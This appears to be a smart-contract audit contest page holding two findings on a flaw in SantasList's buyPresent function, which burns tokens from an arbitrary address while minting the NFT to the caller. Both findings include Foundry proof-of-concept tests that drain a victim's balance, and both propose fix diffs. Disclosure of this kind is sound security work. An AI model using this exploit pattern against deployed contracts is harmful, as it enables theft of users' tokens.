- `buyPresent` is meant to let a holder spend their own `SantaToken` — the specification describes it
as buying *"the NFT for their `NAUGHTY` or `UNKNOWN` friends"*, and the function's own `@dev` says
*"You'll first need to approve the SantasList contract to spend your SantaTokens."*
The payer is the **parameter** and the recipient is the **caller**. `SantaToken.burn` checks only
that the caller is `SantasList`, then burns a fixed amount — it never reads an allowance and takes
no amount. The approval the documentation instructs the user to grant is never consulted.
```solidity
// src/SantasList.sol:168-175
/*
*\* @notice Buy a present for someone else. This should only be callable by anyone with SantaTokens.*
@> * @dev You'll first need to approve the SantasList contract to spend your SantaTokens.
*\*/*
function buyPresent(address presentReceiver) external {
@> i_santaToken.burn(presentReceiver); // the PARAMETER pays
@> _mintAndIncrement(); // _safeMint(msg.sender, ...) — the CALLER receives
}
// src/SantaToken.sol:28-33
function burn(address from) external {
if (msg.sender != i_santasList) revert SantaToken__NotSantasList();
@> _burn(from, 1e18); // no allowance read, no amount parameter
}
```
### Risk
**Likelihood:**
- Any address calls `buyPresent(victim)` directly. The attacker needs no token, no grading, no role,
no capital and no approval.
- Holders are enumerable from public `Transfer` events, and every `EXTRA_NICE` collector emits one.
- A holder redeeming their own token correctly is front-runnable and back-runnable: the attacker
calls `buyPresent(holder)` first, takes the NFT, and the holder's own transaction then reverts on
an arithmetic underflow against the emptied balance.
**Impact:**
- A victim loses 100% of their earned `SantaToken`, and the attacker keeps the present the victim
paid for. The PoC asserts `allowance == 0` before and after.
- Applied across holders the entire currency supply is destroyed by parties who never held it —
`totalSupply` reaches `0` in the PoC.
- There is no consent artefact anywhere in the system that could record the payer's agreement.
### Proof of Concept
```solidity
function test_F03_theftWithNoAllowance() public {
_grade(alice, SantasList.Status.EXTRA_NICE);
vm.prank(alice);
list.collectPresent(); *// alice earns 1e18 SANTA*
assertEq(token.allowance(alice, address(list)), 0); // she approved nothing
vm.prank(attacker); *// attacker holds nothing*
list.buyPresent(alice);
assertEq(token.balanceOf(alice), 0); // drained
assertEq(list.balanceOf(attacker), 1); // attacker holds her present
assertEq(token.allowance(alice, address(list)), 0); // no allowance was consumed
}
```
### Recommended Mitigation
```diff
function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
- _mintAndIncrement();
+ i_santaToken.burn(msg.sender);
+ _mintAndIncrement(presentReceiver);
}
- function _mintAndIncrement() private { _safeMint(msg.sender, s_tokenCounter++); }
+ function _mintAndIncrement(address to) private { _safeMint(to, s_tokenCounter++); }
```
If burning a third party's tokens is genuinely intended, `SantaToken.burn` must consume an allowance
that party granted.
## Description The `buyPresent` function sends the present to the `caller` of the function but burns token from `presentReceiver` but the correct method should be the opposite of it. Due to this implementation of the function, malicious caller can mint NFT by burning the balance of other users by passing any arbitrary address for the `presentReceiver` field and tokens will be deducted from the `presentReceiver` and NFT will be minted to the malicious caller. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. `buyPresent` function should send the present (NFT) to the `presentReceiver` and should burn the SantaToken from the caller i.e. `msg.sender`. ## Vulnerability Details The vulnerability lies inside the SantasList contract inside the `buyPresent` function starting from line 172. The buyPresent function takes in `presentReceiver` as an argument and burns the balance from `presentReceiver` instead of the caller i.e. `msg.sender`, as a result of which an attacker can specify any address for the `presentReceiver` that has approved or not approved the SantasToken (it doesn't matter whether they have approved token or not) to be spent by the SantasList contract, and as they are the caller of the function, they will get the NFT while burning the SantasToken balance of the address specified in `presentReceiver`. This vulnerability occurs due to wrong implementation of the buyPresent function instead of minting NFT to presentReceiver it is minted to caller as well as the tokens are burnt from presentReceiver instead of burning them from `msg.sender`. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. ```cpp /* * @notice Buy a present for someone else. This should only be callable by anyone with SantaTokens. * @dev You'll first need to approve the SantasList contract to spend your SantaTokens. */ function buyPresent(address presentReceiver) external { @> i_santaToken.burn(presentReceiver); @> _mintAndIncrement(); } ``` ## PoC Add the test in the file: `test/unit/SantasListTest.t.sol` Run the test: ```cpp forge test --mt test_AttackerCanMintNft_ByBurningTokensOfOtherUsers ``` ```cpp function test_AttackerCanMintNft_ByBurningTokensOfOtherUsers() public { // address of the attacker address attacker = makeAddr("attacker"); vm.startPrank(santa); // Santa checks user once as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); // Santa checks user second time santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // christmas time 🌳🎁 HO-HO-HO vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME()); // User collects their NFT and tokens for being EXTRA_NICE vm.prank(user); santasList.collectPresent(); assertEq(santaToken.balanceOf(user), 1e18); uint256 attackerInitNftBalance = santasList.balanceOf(attacker); // attacker get themselves the present by passing presentReceiver as user and burns user's SantaToken vm.prank(attacker); santasList.buyPresent(user); // user balance is decremented assertEq(santaToken.balanceOf(user), 0); assertEq(santasList.balanceOf(attacker), attackerInitNftBalance + 1); } ``` ## Impact - Due to the wrong implementation of function, an attacker can mint NFT by burning the SantaToken of other users by passing their address for the `presentReceiver` argument. The protocol assumes that user has to approve the SantasList in order to burn token on their behalf but it will be burnt even though they didn't approve it to `SantasList` contract, because directly `_burn` function is called directly by the `burn` function and both of them don't check for approval. - Attacker can burn the balance of everyone and mint a large number of NFT for themselves. ## Recommendations - Burn the SantaToken from the caller i.e., `msg.sender` - Mint NFT to the `presentReceiver` ```diff + function _mintAndIncrementToUser(address user) private { + _safeMint(user, s_tokenCounter++); + } function buyPresent(address presentReceiver) external { - i_santaToken.burn(presentReceiver); - _mintAndIncrement(); + i_santaToken.burn(msg.sender); + _mintAndIncrementToUser(presentReceiver); } ``` By applying this recommendation, there is no need to worry about the approvals and the vulnerability - 'tokens can be burnt even though users don't approve' will have zero impact as the tokens are now burnt from the caller. Therefore, an attacker can't burn others token.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.